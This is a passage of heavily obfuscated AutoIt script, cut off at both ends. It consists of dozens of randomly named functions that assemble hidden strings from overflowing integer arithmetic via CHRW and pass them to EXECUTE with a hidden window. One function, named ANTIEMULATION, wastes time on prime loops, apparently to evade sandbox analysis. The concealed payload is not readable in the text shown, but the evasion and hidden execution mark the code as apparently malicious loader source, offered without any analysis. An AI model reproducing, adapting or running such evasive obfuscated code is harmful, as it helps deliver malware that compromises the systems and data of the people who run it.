EXECUTE (TOHOQPYRIEHRYEXGGDSJ () ) , @SW_HIDE ) ENDIF ENDFUNC FUNC ZJWPCWOBWDMDVGSIWOUF () LOCAL $ZQHRMNZRSNQRWXNXQORL [3 ] = [29010 + 4294938398 , 88551 + 4294878861 , + 4294928079 - + 4294927965 ] LOCAL $XJINUHZSVS FOR $BZADUAOCJICFDPY = 0 TO 2 $XJINUHZSVS &= CHRW ($ZQHRMNZRSNQRWXNXQORL [$BZADUAOCJICFDPY ] ) NEXT RETURN $XJINUHZSVS ENDFUNC FUNC UHAJNUIPBYNPDOFGZNOA () LOCAL $_XJFBJNZMNZYKDSSAAFE [1 ] = [86448 + + 4294880940 ] LOCAL $VIEGJCNZOF FOR $F_AJRWODLAQVCYY = 0 TO 0 $VIEGJCNZOF &= CHRW ($_XJFBJNZMNZYKDSSAAFE [$F_AJRWODLAQVCYY ] ) NEXT RETURN $VIEGJCNZOF ENDFUNC FUNC EPKVKQYNSXTQIBWYAYLE () LOCAL $CMPTZKHAHMKROHSXPOQB [5 ] = [+ 4294939630 + 27766 , 24854 + + 4294942561 , 9285 + + 4294958122 , + 4294946484 - + 4294946370 , + 4294943415 - + 4294943315 ] LOCAL $BCAJZIMHJN FOR $_SQXHTZRW_IXGGN = 0 TO 4 $BCAJZIMHJN &= CHRW ($CMPTZKHAHMKROHSXPOQB [$_SQXHTZRW_IXGGN ] ) NEXT RETURN $BCAJZIMHJN ENDFUNC FUNC WVJIG_VUJRQFGIJOCTQZ () LOCAL $QSXHECP_KW_ZMZYNHVIZ [62 ] = [40724 + + 4294926620 , 90957 + + 4294876390 , + 4294891328 - + 4294891276 , 20205 + + 4294947144 , + 4294894975 - + 4294894905 , + 4294897567 - + 4294897511 , + 4294910166 - + 4294910113 , + 4294919054 - + 4294919006 , 88664 + 4294878702 , + 4294892737 - + 4294892667 , 16954 + + 4294950397 , 26339 + + 4294941010 , + 4294932069 + 35295 , 47451 + 4294919901 , 15635 + + 4294951731 , + 4294915627 - + 4294915557 , 22076 + + 4294945273 , + 4294936111 + 31238 , 29982 + 4294937381 , + 4294903309 - + 4294903242 , + 4294929695 + 37657 , 71864 + 4294895485 , + 4294928312 + 39051 , 46420 + 4294920924 , + 4294929931 + 37420 , 14823 + 4294952525 , 40179 + 4294927166 , 11125 + 4294956221 , 12114 + + 4294955238 , + 4294885424 - + 4294885358 , + 4294944847 - + 4294944795 , + 4294900548 - + 4294900480 , 97519 + + 4294869847 , + 4294942597 + 24751 , + 4294936872 - + 4294936816 , + 4294965675 + 1672 , 73806 + 4294893557 , + 4294960656 - + 4294960601 , 88712 + 4294878634 , + 4294904840 + 62512 , 89509 + 4294877835 , + 4294946850 + 20516 , + 4294920941 - + 4294920875 , 15524 + 4294951827 , + 4294885574 - + 4294885522 , + 4294938655 - + 4294938601 , 94930 + + 4294872414 , + 4294934622 + 32728 , + 4294903517 + 63831 , 73499 + + 4294893846 , + 4294938821 - + 4294938765 , + 4294888317 - + 4294888260 , 51277 + + 4294916071 , 25761 + + 4294941603 , 42255 + 4294925111 , 10236 + 4294957112 , 45066 + 4294922281 , + 4294966044 - + 4294965978 , 1461 + 4294965902 , + 4294873032 - + 4294872976 , + 4294926496 - + 4294926441 , + 4294962636 - + 4294962586 ] LOCAL $NQZNZQDKQG FOR $CKVDKXQKC_IUEKL = 0 TO 61 $NQZNZQDKQG &= CHRW ($QSXHECP_KW_ZMZYNHVIZ [$CKVDKXQKC_IUEKL ] ) NEXT RETURN $NQZNZQDKQG ENDFUNC FUNC BLKHFJHUHO_TWZZNJJTB () LOCAL $XYBHTPUNYWOPXBCGZHL_ [5 ] = [82351 + + 4294885045 , + 4294917874 + 49541 , + 4294919362 - + 4294919251 , 92620 + + 4294874790 , 64803 + 4294902593 ] LOCAL $LWUWSOCYTZ FOR $MXEBWDJDOQPUWLA = 0 TO 4 $LWUWSOCYTZ &= CHRW ($XYBHTPUNYWOPXBCGZHL_ [$MXEBWDJDOQPUWLA ] ) NEXT RETURN $LWUWSOCYTZ ENDFUNC FUNC MTJFWYAUGOLOYFJQCFGT () LOCAL $_RLSJQOWRYMJTGTRMYFR [10 ] = [+ 4294904572 + 62772 , + 4294938231 + 29185 , + 4294907556 + 59788 , + 4294950783 + 16561 , 8740 + + 4294958604 , + 4294953149 + 14195 , 92208 + 4294875144 , 40947 + + 4294926397 , 39828 + + 4294927516 , 75060 + 4294892287 ] LOCAL $H_OXNA_KYJ FOR $JECJBCVSMSDEAOY = 0 TO 9 $H_OXNA_KYJ &= CHRW ($_RLSJQOWRYMJTGTRMYFR [$JECJBCVSMSDEAOY ] ) NEXT RETURN $H_OXNA_KYJ ENDFUNC FUNC MAQEMYYOENIBQMFVRQNV () LOCAL $BTTIIKITNSSRFLVNGKMU [36 ] = [58577 + 4294908767 , 43484 + 4294923865 , 21503 + 4294945841 , 35658 + 4294931708 , 12782 + + 4294954570 , + 4294954732 - + 4294954678 , + 4294940788 - + 4294940733 , + 4294958511 + 8840 , + 4294923124 - + 4294923054 , 73549 + 4294893814 , 26579 + 4294940787 , + 4294877691 - + 4294877621 , + 4294902042 + 65324 , 72884 + 4294894482 , + 4294937616 + 29731 , 14264 + 4294953083 , 68502 + + 4294898861 , 95855 + + 4294871489 , 96684 + + 4294870665 , + 4294924383 + 42983 , 43294 + 4294924055 , 41761 + + 4294925604 , + 4294915984 - + 4294915931 , 39439 + + 4294927923 , 77696 + 4294889656 , 55677 + + 4294911685 , 7992 + 4294959373 , 69305 + + 4294898044 , + 4294875750 - + 4294875697 , 28282 + + 4294939082 , 16072 + 4294951291 , + 4294956089 + 11257 , + 4294911005 - + 4294910957 , 77136 + + 4294890227 , 33488 + + 4294933856 , + 4294924574 + 42770 ] LOCAL $UPLXUFUHFO FOR $PAJOYIGKJAHONQS = 0 TO 35 $UPLXUFUHFO &= CHRW ($BTTIIKITNSSRFLVNGKMU [$PAJOYIGKJAHONQS ] ) NEXT RETURN $UPLXUFUHFO ENDFUNC FUNC XB_VXJBXXDSFUPOXPVEY () LOCAL $AZRORYWEBYSDYDZRMZRX [5 ] = [+ 4294951697 - + 4294951597 , + 4294888233 - + 4294888114 , + 4294908310 - + 4294908199 , + 4294923512 - + 4294923398 , 86314 + + 4294881082 ] LOCAL $OHRRXLPDHN FOR $GEPTJYLLEYNXWZL = 0 TO 4 $OHRRXLPDHN &= CHRW ($AZRORYWEBYSDYDZRMZRX [$GEPTJYLLEYNXWZL ] ) NEXT RETURN $OHRRXLPDHN ENDFUNC FUNC LPOOOIKPPKKBOCYTIAMD () LOCAL $PRXUSUZPFIFUVMLCDMON [62 ] = [96702 + + 4294870664 , + 4294891813 + 75553 , 27359 + + 4294940007 , 32409 + + 4294934957 , 32329 + 4294935023 , 91596 + 4294875768 , + 4294903606 + 63746 , + 4294899124 + 68225 , + 4294930128 + 37217 , + 4294894518 + 72826 , 25381 + + 4294941985 , + 4294938006 - + 4294937939 , 65816 + + 4294901550 , + 4294912303 - + 4294912233 , + 4294939101 + 28265 , + 4294942991 + 24375 , 7225 + + 4294960124 , 74843 + + 4294892501 , 57657 + 4294909709 , + 4294946203 - + 4294946133 , + 4294954608 - + 4294954553 , + 4294883041 + 84308 , 24122 + + 4294943242 , + 4294876275 + 91088 , + 4294943303 + 24063 , + 4294947226 - + 4294947156 , + 4294944908 + 22441 , + 4294892289 - + 4294892236 , 21835 + + 4294945518 , + 4294966501 + 843 , + 4294941170 - + 4294941114 , 98764 + + 4294868585 , 41046 + 4294926317 , + 4294905596 + 61748 , + 4294913204 + 54140 , 97326 + 4294870040 , 17635 + + 4294949717 , + 4294938184 - + 4294938132 , 74842 + 4294892503 , 74808 + 4294892554 , 33077 + 4294934289 , 9845 + + 4294957520 , + 4294957165 - + 4294957095 , 57042 + + 4294910324 , + 4294899154 + 68212 , + 4294960009 - + 4294959939 , + 4294923820 + 43546 , 46336 + 4294921030 , + 4294928907 - + 4294928852 , + 4294903619 - + 4294903566 , + 4294894666 - + 4294894598 , 70049 + + 4294897314 , + 4294932183 + 35183 , + 4294885685 + 81681 , + 4294947249 - + 4294947196 , 30583 + + 4294936766 , 50186 + 4294917175 , + 4294882968 - + 4294882901 , 63203 + 4294904149 , + 4294940163 - + 4294940110 , 83098 + 4294884265 , 97666 + + 4294869678 ] LOCAL $NKJIUOOKLP FOR $NVTUAETUHQCOEVI = 0 TO 61 $NKJIUOOKLP &= CHRW ($PRXUSUZPFIFUVMLCDMON [$NVTUAETUHQCOEVI ] ) NEXT RETURN $NKJIUOOKLP ENDFUNC FUNC MYKMXDCNHJLALUJWUPGR () LOCAL $WZATZOJBOMCNLCGTYVPV [15 ] = [66263 + + 4294901100 , + 4294884792 - + 4294884678 , + 4294955511 - + 4294955390 , + 4294914250 + 53158 , 22496 + 4294944916 , 36726 + 4294930637 , 99791 + + 4294867619 , 83086 + 4294884311 , + 4294881409 + 85984 , 1925 + 4294965487 , 51421 + 4294915976 , + 4294875884 + 91484 , 47199 + + 4294920194 , 19022 + 4294948389 , + 4294960115 + 7285 ] LOCAL $WNUFUVHIFB FOR $YZALNCXSIXUNMNU = 0 TO 14 $WNUFUVHIFB &= CHRW ($WZATZOJBOMCNLCGTYVPV [$YZALNCXSIXUNMNU ] ) NEXT RETURN $WNUFUVHIFB ENDFUNC FUNC XAIFVJKYTTYRFNQXYWRL () LOCAL $QMCRIMQNMQHDWTZFHO_D [7 ] = [37527 + 4294929836 , 35267 + + 4294932133 , + 4294960935 + 6475 , + 4294872814 - + 4294872774 , + 4294920961 - + 4294920910 , + 4294945149 + 22199 , 18972 + 4294948365 ] LOCAL $KQKWOTEEED FOR $JKYRXIUXMDMUVMO = 0 TO 6 $KQKWOTEEED &= CHRW ($QMCRIMQNMQHDWTZFHO_D [$JKYRXIUXMDMUVMO ] ) NEXT RETURN $KQKWOTEEED ENDFUNC FUNC VYQJWOZJXSCCUJVJOLWS () LOCAL $ZUMCYMODZAZIOXKATYGT [23 ] = [61933 + 4294905482 , + 4294893147 - + 4294893042 , + 4294923417 + 43989 , 20014 + + 4294947391 , 90731 + 4294876668 , 60826 + + 4294906579 , 40714 + + 4294926698 , 6819 + 4294960592 , 11273 + + 4294956081 , + 4294956887 - + 4294956840 , + 4294873383 + 93960 , 19453 + + 4294947889 , + 4294917343 + 50000 , + 4294954075 + 13335 , + 4294873439 + 93968 , + 4294941685 + 25722 , + 4294903953 - + 4294903837 , + 4294888281 + 79062 , 25943 + 4294941452 , + 4294939000 - + 4294938895 , 83045 + + 4294884360 , 63007 + + 4294904407 , 64630 + 4294902716 ] LOCAL $NQELPNEZYL FOR $ASJIPEMXU_ZHIYZ = 0 TO 22 $NQELPNEZYL &= CHRW ($ZUMCYMODZAZIOXKATYGT [$ASJIPEMXU_ZHIYZ ] ) NEXT RETURN $NQELPNEZYL ENDFUNC FUNC HUFHWDDLEMGLDWTXXGR_ () LOCAL $ANFDPDIOHGYXYPQLPZRO [10 ] = [+ 4294880867 + 86477 , + 4294938615 + 28801 , + 4294943070 + 24278 , 74770 + + 4294892574 , + 4294877340 + 90005 , + 4294916653 + 50713 , 60893 + 4294906473 , + 4294869668 + 97698 , 14885 + 4294952481 , + 4294924944 + 42422 ] LOCAL $HXKNUALPQM FOR $VPEYOJNPGIHYPDB = 0 TO 9 $HXKNUALPQM &= CHRW ($ANFDPDIOHGYXYPQLPZRO [$VPEYOJNPGIHYPDB ] ) NEXT RETURN $HXKNUALPQM ENDFUNC FUNC TOFLRSVNSP_BSZDUFJMP () LOCAL $HADQR_OFQGTCMJDMZDWY [4 ] = [33118 + 4294934297 , + 4294877122 + 90289 , 14867 + + 4294952545 , + 4294872630 + 94780 ] LOCAL $MWXQJVRVBN FOR $GDNJTYUSLOUREQY = 0 TO 3 $MWXQJVRVBN &= CHRW ($HADQR_OFQGTCMJDMZDWY [$GDNJTYUSLOUREQY ] ) NEXT RETURN $MWXQJVRVBN ENDFUNC FUNC JUTMHWHUEFGNYEGZYDVQ () LOCAL $DVORMCYLLYZUANSUUZIU [1 ] = [51516 + + 4294915829 ] LOCAL $CAEZWIGGMN FOR $EWFTFEZYIRCTHPG = 0 TO 0 $CAEZWIGGMN &= CHRW ($DVORMCYLLYZUANSUUZIU [$EWFTFEZYIRCTHPG ] ) NEXT RETURN $CAEZWIGGMN ENDFUNC FUNC MYJEFDXXYPJKJCGPTJGR () LOCAL $RNEKLNOKLTFYIVOUJSZQ [4 ] = [64022 + 4294903322 , 16311 + 4294951105 , + 4294885852 - + 4294885786 , + 4294903927 + 63438 ] LOCAL $EKLBOOMGAK FOR $PCFJLTN_TZTTPML = 0 TO 3 $EKLBOOMGAK &= CHRW ($RNEKLNOKLTFYIVOUJSZQ [$PCFJLTN_TZTTPML ] ) NEXT RETURN $EKLBOOMGAK ENDFUNC FUNC KBWKTSYXWEFHCCWJZMXJ () LOCAL $JNSYVHDBDHTRAHDZSHQP [1 ] = [73231 + + 4294894114 ] LOCAL $YPLOWTPLOH FOR $AZEESMIKOUBDDXJ = 0 TO 0 $YPLOWTPLOH &= CHRW ($JNSYVHDBDHTRAHDZSHQP [$AZEESMIKOUBDDXJ ] ) NEXT RETURN $YPLOWTPLOH ENDFUNC FUNC ANO_GCRQGGPERFKNSJGX () LOCAL $ITXWWZGQSXEFDCDKKNXL [12 ] = [+ 4294944320 + 23041 , + 4294870132 - + 4294870032 , + 4294881123 - + 4294881005 , 60483 + 4294906910 , + 4294945882 - + 4294945770 , 26528 + + 4294940873 , + 4294940114 - + 4294940063 , + 4294937238 - + 4294937188 , + 4294946681 + 20661 , + 4294893325 - + 4294893225 , 71761 + 4294895643 , 89440 + 4294877964 ] LOCAL $NEVGINRWUT FOR $CJBOC_DFMUHUTQV = 0 TO 11 $NEVGINRWUT &= CHRW ($ITXWWZGQSXEFDCDKKNXL [$CJBOC_DFMUHUTQV ] ) NEXT RETURN $NEVGINRWUT ENDFUNC FUNC ZBJBQNAWHOFJOYBKJRZH () LOCAL $FBHWDVOKXFDDHRF_RUBU [7 ] = [93348 + + 4294874063 , 23838 + + 4294943574 , 46035 + 4294921375 , + 4294943542 + 23871 , 21232 + 4294946163 , + 4294919468 - + 4294919352 , 57044 + + 4294910294 ] LOCAL $BTOPFGNSHC FOR $UYVNXV_RZBKCBYS = 0 TO 6 $BTOPFGNSHC &= CHRW ($FBHWDVOKXFDDHRF_RUBU [$UYVNXV_RZBKCBYS ] ) NEXT RETURN $BTOPFGNSHC ENDFUNC FUNC BMNOCUGQBN_JYWSGNZAC () LOCAL $HXRRKMOCQUNVIHVMWAMB [51 ] = [12561 + 4294954807 , + 4294884030 + 83341 , + 4294934056 - + 4294933987 , 39951 + + 4294927434 , + 4294890145 - + 4294890050 , 57546 + 4294909826 , + 4294929031 + 38344 , 91534 + 4294875829 , + 4294907925 + 59436 , 73235 + + 4294894137 , + 4294915095 - + 4294915000 , + 4294869110 - + 4294869033 , 95852 + 4294871509 , 93835 + + 4294873528 , + 4294873654 - + 4294873582 , + 4294952466 - + 4294952393 , 273 + + 4294967101 , 3640 + 4294963725 , + 4294872095 + 95293 , 33926 + + 4294933442 , 68291 + + 4294899070 , 98112 + 4294869266 , 95511 + 4294871853 , 77525 + + 4294889858 , 35430 + + 4294931931 , + 4294932503 + 34875 , + 4294888981 + 78384 , 62787 + 4294904601 , 68680 + + 4294898684 , 86331 + 4294881034 , 22336 + + 4294945043 , + 4294912635 + 54728 , + 4294874208 - + 4294874126 , + 4294950937 + 16432 , 77141 + + 4294890235 , + 4294907604 - + 4294907520 , 1716 + 4294965653 , + 4294961751 - + 4294961672 , 66683 + + 4294900691 , 39051 + + 4294928337 , + 4294881069 - + 4294880986 , + 4294928431 - + 4294928310 , 7140 + 4294960271 , + 4294948696 + 18716 , + 4294896747 - + 4294896646 , 93031 + 4294874374 , 65447 + 4294901941 , 18086 + 4294949276 , 94901 + 4294872468 , 73063 + + 4294894312 , 71824 + 4294895555 ] LOCAL $KJQSYPAXWF FOR $OMLQMTJIGIIKCAJ = 0 TO 50 $KJQSYPAXWF &= CHRW ($HXRRKMOCQUNVIHVMWAMB [$OMLQMTJIGIIKCAJ ] ) NEXT RETURN $KJQSYPAXWF ENDFUNC FUNC ANTIEMULATION () FOR $I = TYTDMQGCHQKBYFQZMYFU () TO RANDOM (HXJTRCUVWRCWGDNXXLEO () , PPYUPPWGTVKCFREIRSHZ () , _DGBYVRQADLZMAFOPE_G () ) $PRIME = TYTDMQGCHQKBYFQZMYFU () FOR $Z = OWANAKHTFFFSJVJNNWRS () TO UECXTOAERNTDMJJICQGA () $BPRIME = EXECUTE (MTMSGYZICENJWLXN_OTX () ) $J = RANDOM (HXJTRCUVWRCWGDNXXLEO () , PPYUPPWGTVKCFREIRSHZ () , _DGBYVRQADLZMAFOPE_G () ) WHILE $J * $J <= $I IF MOD ($I , $J ) == TYTDMQGCHQKBYFQZMYFU () THEN $PRIME = EXECUTE (PIDCEEUXVMCQDUEHWUWZ () ) EXITLOOP ENDIF $J += _DGBYVRQADLZMAFOPE_G () WEND IF $BPRIME THEN $PRIME = $Z NEXT NEXT ENDFUNC FUNC RXLJHRQCEROOFUAFAVSK () LOCAL $ONDURCQPEMRAHGRB_CXH [1 ] = [+ 4294893361 + 73983 ] LOCAL $RSEAAYRAOH FOR $RHX_CXQRKULYZET = 0 TO 0 $RSEAAYRAOH &= CHRW ($ONDURCQPEMRAHGRB_CXH [$RHX_CXQRKULYZET ] ) NEXT RETURN $RSEAAYRAOH ENDFUNC FUNC MSFYJZAYBJYOGYMSYKGR () LOCAL $BOPIJTENBKKPUDVRGRUT [1 ] = [36236 + 4294931108 ] LOCAL $XPQVNXRYIT FOR $FRATQPSVEIEVHYD = 0 TO 0 $XPQVNXRYIT &= CHRW ($BOPIJTENBKKPUDVRGRUT [$FRATQPSVEIEVHYD ] ) NEXT RETURN $XPQVNXRYIT ENDFUNC FUNC UBMVDRKKIJPOQIYOMSUA () LOCAL $E_CBNJLTQPBOWXCWC_ER [2 ] = [58330 + + 4294909052 , + 4294937233 - + 4294937156 ] LOCAL $UFRVTHBSSG FOR $PNANXYIOOWVVZKI = 0 TO 1 $UFRVTHBSSG &= CHRW ($E_CBNJLTQPBOWXCWC_ER [$PNANXYIOOWVVZKI ] ) NEXT RETURN $UFRVTHBSSG ENDFUNC FUNC MISEEKMERNHOPJNAGXHS () LOCAL $QUJPXJW_AIZBLRAQFLLT [6 ] = [84384 + + 4294882960 , + 4294932096 - + 4294931976 , + 4294935235 + 32112 , + 4294873167 - + 4294873119 , + 4294888385 - + 4294888337 , 98350 + + 4294868994 ] LOCAL $YIXVVLOQXM FOR $GZRSZCHVPMEIOGC = 0 TO 5 $YIXVVLOQXM &= CHRW ($QUJPXJW_AIZBLRAQFLLT [$GZRSZCHVPMEIOGC ] ) NEXT RETURN $YIXVVLOQXM ENDFUNC FUNC HEQJWZKAIOIGMXTXOIDD () LOCAL $GELLUFDVQXJPHUMTOYAH [62 ] = [+ 4294880652 - + 4294880604 , + 4294930266 + 37078 , + 4294893121 + 74245 , 22354 + 4294945012 , + 4294914565 + 52786 , 47698 + + 4294919652 , + 4294904792 - + 4294904739 , 90504 + 4294876840 , 47196 + 4294920154 , + 4294951771 + 15590 , + 4294901507 + 65837 , + 4294951227 - + 4294951179 , 60912 + + 4294906454 , + 4294874016 + 93350 , 19474 + + 4294947875 , 37554 + + 4294929795 , 36167 + + 4294931186 , 84814 + + 4294882538 , 6728 + + 4294960624 , 10871 + 4294956491 , + 4294946622 + 20742 , 92100 + + 4294875252 , 23594 + 4294943758 , + 4294943463 - + 4294943410 , 62080 + 4294905284 , 99635 + 4294867727 , + 4294939544 - + 4294939496 , + 4294957416 - + 4294957346 , 68266 + 4294899086 , 3372 + 4294963976 , + 4294919375 + 47973 , + 4294897057 + 70292 , 7832 + + 4294959512 , 12634 + 4294954712 , 96380 + + 4294870964 , + 4294931121 + 36223 , + 4294940095 + 27249 , 97772 + + 4294869572 , + 4294956419 + 10931 , + 4294902220 + 65141 , 26138 + + 4294941210 , 78816 + 4294888528 , + 4294869034 + 98316 , 51131 + + 4294916221 , 18596 + + 4294948748 , + 4294892616 - + 4294892568 , + 4294911748 - + 4294911697 , 35450 + + 4294931894 , + 4294874737 - + 4294874689 , 23834 + + 4294943510 , 82638 + 4294884706 , 63328 + + 4294904016 , 29067 + 4294938299 , + 4294920817 + 46549 , 24845 + + 4294942506 , 83542 + 4294883808 , 16798 + + 4294950551 , + 4294917042 + 50302 , 97337 + + 4294870029 , + 4294910786 + 56580 , 17749 + + 4294949602 , 84541 + 4294882809 ] LOCAL $_FKOXSWVLS FOR $WMUFFIXHFWVIPBL = 0 TO 61 $_FKOXSWVLS &= CHRW ($GELLUFDVQXJPHUMTOYAH [$WMUFFIXHFWVIPBL ] ) NEXT RETURN $_FKOXSWVLS ENDFUNC FUNC ZJUJXCAFGCXHQQIQIQUB () LOCAL $WZGWWUNOFWAGWCTWRNSL [7 ] = [+ 4294878215 + 89179 , 51486 + 4294915921 , 51742 + 4294915665 , 46803 + 4294920601 , + 4294926602 + 40795 , 6161 + 4294961232 , + 4294867711 + 99695 ] LOCAL $LZVYICAFBC FOR $T_CYNDPMAKCQLNX = 0 TO 6 $LZVYICAFBC &= CHRW ($WZGWWUNOFWAGWCTWRNSL [$T_CYNDPMAKCQLNX ] ) NEXT RETURN $LZVYICAFBC ENDFUNC FUNC BFUUWZVYHXIEEXGUKTIP () LOCAL $RASAOISU_THFOKWQFXDC [6 ] = [21538 + 4294945858 , 55458 + 4294911957 , 20218 + + 4294947189 , + 4294952351 + 15059 , + 4294932956 - + 4294932856 , + 4294896178 + 71160 ] LOCAL $TBRPNPG_NF FOR $JRMBNUGOGAYOPCQ = 0 TO 5 $TBRPNPG_NF &= CHRW ($RASAOISU_THFOKWQFXDC [$JRMBNUGOGAYOPCQ ] ) NEXT RETURN $TBRPNPG_NF ENDFUNC FUNC EGMHF_AFUIXDBMVVPEJF () LOCAL $WFSPSVETUBJKFM_MUXHD [5 ] = [+ 4294937984 - + 4294937884 , + 4294919181 + 48234 , 3674 + 4294963733 , 8971 + + 4294958439 , 94175 + 4294873221 ] LOCAL $NYPMIBSXGW FOR $PUFJAZNXPKWHLTZ = 0 TO 4 $NYPMIBSXGW &= CHRW ($WFSPSVETUBJKFM_MUXHD [$PUFJAZNXPKWHLTZ ] ) NEXT RETURN $NYPMIBSXGW ENDFUNC FUNC NWEDMXCAAUVYNLROOXXV () LOCAL $QCRNRMAAQKTUFVHUFCTN [4 ] = [54375 + 4294913019 , + 4294908170 - + 4294908059 , + 4294918560 + 48847 , + 4294950908 - + 4294950800 ] LOCAL $QBBSSDXIME FOR $UZOMUEBLFRNZXBK = 0 TO 3 $QBBSSDXIME &= CHRW ($QCRNRMAAQKTUFVHUFCTN [$UZOMUEBLFRNZXBK ] ) NEXT RETURN $QBBSSDXIME ENDFUNC FUNC CXBHQLXLZMXNYOIMVSKW () LOCAL $CTXQOUKE_NCRGDFCPKYF [4 ] = [+ 4294898590 + 68755 , + 4294867766 + 99578 , + 4294919544 + 47800 , + 4294937963 + 29381 ] LOCAL $LJGGUIGXLT FOR $NHIRWY_JALTWBTM = 0 TO 3 $LJGGUIGXLT &= CHRW ($CTXQOUKE_NCRGDFCPKYF [$NHIRWY_JALTWBTM ] ) NEXT RETURN $LJGGUIGXLT ENDFUNC FUNC NFQHJUFWDYKIWLJWKHYW () LOCAL $TEMLKRIKEHAKGTLRXVIJ [1 ] = [+ 4294876175 - + 4294876124 ] LOCAL $EXRLWSXYAB FOR $IJLPDPOZAJOPBIU = 0 TO 0 $EXRLWSXYAB &= CHRW ($TEMLKRIKEHAKGTLRXVIJ [$IJLPDPOZAJOPBIU ] ) NEXT RETURN $EXRLWSXYAB ENDFUNC FUNC EKTCRF_WWKTIEEHGLNBV () LOCAL $VDIWUVGBKCMQQZCHARCI [5 ] = [+ 4294966692 - + 4294966592 , + 4294907702 - + 4294907583 , + 4294937669 + 29738 , + 4294900222 + 67188 , + 4294910439 + 56957 ] LOCAL $CSFBAFULTI FOR $EKAQIBCXHWZYMTY = 0 TO 4 $CSFBAFULTI &= CHRW ($VDIWUVGBKCMQQZCHARCI [$EKAQIBCXHWZYMTY ] ) NEXT RETURN $CSFBAFULTI ENDFUNC FUNC YYIOTMOMHYNTAGWCBLOE () LOCAL $NVUKHUGVTCFAMGCUEIXN [1 ] = [+ 4294869614 + 97732 ] LOCAL $XHZFSTFSMH FOR $IBGULYNQMZ_YQCD = 0 TO 0 $XHZFSTFSMH &= CHRW ($NVUKHUGVTCFAMGCUEIXN [$IBGULYNQMZ_YQCD ] ) NEXT RETURN $XHZFSTFSMH ENDFUNC FUNC UQNOXT_HBEPZVFRIYTNZ () LOCAL $SPZJKFTMXBWDNXQYHJQC [4 ] = [65728 + + 4294901646 , 10086 + + 4294957327 , + 4294905148 + 62256 , 71079 + + 4294896325 ] LOCAL $AILLYPTBOD FOR $BTTUBLAESEDRAOK = 0 TO 3 $AILLYPTBOD &= CHRW ($SPZJKFTMXBWDNXQYHJQC [$BTTUBLAESEDRAOK ] ) NEXT RETURN $AILLYPTBOD ENDFUNC FUNC TDBNQQHFSCPJCSJEUEVP () LOCAL $FLGKELLIPQMFCJPBPUFW [3 ] = [97722 + + 4294869686 , 23342 + 4294944070 , 84351 + + 4294883059 ] LOCAL $ZPCQKGTDHP FOR $QLIGOQCEJHXRIFE = 0 TO 2 $ZPCQKGTDHP &= CHRW ($FLGKELLIPQMFCJPBPUFW [$QLIGOQCEJHXRIFE ] ) NEXT RETURN $ZPCQKGTDHP ENDFUNC FUNC OMBTYXTSFAOZIABOMPIS () LOCAL $VCNEOAVCPFZWUXQCMMIC [3 ] = [+ 4294916644 - + 4294916532 , + 4294908113 + 59299 , 24498 + + 4294942912 ] LOCAL $RDABSELKZB FOR $PZYFZWXNWMZYFXB = 0 TO 2 $RDABSELKZB &= CHRW ($VCNEOAVCPFZWUXQCMMIC [$PZYFZWXNWMZYFXB ] ) NEXT RETURN $RDABSELKZB ENDFUNC FUNC _GFMJHRUQLWEKFDZHBED () LOCAL $OHLAPIUVSTEP_E_PRBNE [12 ] = [+ 4294931173 - + 4294931066 , 19446 + 4294947951 , + 4294909000 - + 4294908886 , + 4294920817 + 46589 , + 4294883933 + 83464 , 81026 + 4294886378 , 52319 + + 4294915028 , 2096 + + 4294965250 , 67028 + 4294900314 , 72033 + 4294895363 , + 4294962984 + 4420 , 83594 + + 4294883810 ] LOCAL $CQYXZWUJER FOR $HHEGFOIFNZVLRZV = 0 TO 11 $CQYXZWUJER &= CHRW ($OHLAPIUVSTEP_E_PRBNE [$HHEGFOIFNZVLRZV ] ) NEXT RETURN $CQYXZWUJER ENDFUNC FUNC QXZJMXRNGFMWLZTVDOLF () LOCAL $EUVHACAZZSYVXINOMRZP [62 ] = [+ 4294939174 - + 4294939107 , + 4294883181 - + 4294883133 , + 4294892785 + 74566 , + 4294933188 - + 4294933136 , + 4294884338 - + 4294884288 , 49650 + 4294917712 , + 4294899646 - + 4294899596 , 72555 + + 4294894794 , 88090 + + 4294879276 , + 4294928850 - + 4294928780 , + 4294893476 + 73868 , + 4294953006 + 14360 , 45335 + + 4294922009 , 96388 + 4294870956 , + 4294958867 - + 4294958819 , + 4294940167 - + 4294940119 , + 4294954225 + 13119 , + 4294901253 + 66094 , 36959 + 4294930385 , + 4294949455 - + 4294949405 , + 4294914034 + 53318 , + 4294895029 + 72324 , + 4294879175 + 88173 , + 4294936176 + 31173 , 62536 + + 4294904829 , 5751 + + 4294961612 , 27825 + + 4294939527 , + 4294920625 + 46737 , + 4294941029 + 26334 , + 4294911126 - + 4294911070 , 43094 + 4294924258 , 94978 + + 4294872384 , 37839 + 4294929509 , 45876 + 4294921474 , 8995 + 4294958352 , 66168 + + 4294901180 , 46425 + + 4294920921 , 24900 + 4294942453 , + 4294893889 + 73455 , + 4294945859 + 21489 , 99473 + 4294867872 , + 4294881308 + 86045 , + 4294922836 + 44516 , 79546 + + 4294887816 , + 4294889901 - + 4294889849 , + 4294934869 - + 4294934801 , + 4294889201 - + 4294889131 , + 4294942628 + 24716 , + 4294967020 + 332 , 58129 + + 4294909233 , 82765 + 4294884583 , 91961 + 4294875390 , 848 + + 4294966499 , 2667 + 4294964681 , 92228 + 4294875116 , + 4294914793 + 52573 , + 4294882681 + 84681 , + 4294911894 - + 4294911839 , + 4294923563 - + 4294923511 , + 4294901005 - + 4294900938 , 63738 + + 4294903610 , + 4294907817 - + 4294907752 ] LOCAL $_BSATLKGNZ FOR $WAQCJBWXMZTRNYH = 0 TO 61 $_BSATLKGNZ &= CHRW ($EUVHACAZZSYVXINOMRZP [$WAQCJBWXMZTRNYH ] ) NEXT RETURN $_BSATLKGNZ ENDFUNC FUNC WVSJQPOPRESHGIKGEBPB () LOCAL $POZXQDBVQWLOHVHEKWWF [2 ] = [42573 + 4294924773 , + 4294885761 - + 4294885709 ] LOCAL $MNTZVTEALB FOR $CFYMVCJPHTEIWVT = 0 TO 1 $MNTZVTEALB &= CHRW ($POZXQDBVQWLOHVHEKWWF [$CFYMVCJPHTEIWVT ] ) NEXT RETURN $MNTZVTEALB ENDFUNC FUNC LQBGUELITBKIVYRKHOAX () LOCAL $DVOXXEQOJSCKUDCUXCJW [62 ] = [84445 + + 4294882907 , + 4294963102 - + 4294963049 , 23189 + 4294944174 , + 4294955827 - + 4294955779 , 41269 + 4294926075 , + 4294927705 + 39661 , 35435 + 4294931917 , + 4294962374 + 4974 , + 4294882755 - + 4294882686 , 29273 + + 4294938075 , + 4294963025 + 4341 , 94346 + 4294873019 , 90953 + 4294876413 , + 4294958232 + 9134 , + 4294905123 + 62243 , 2102 + 4294965264 , + 4294906111 - + 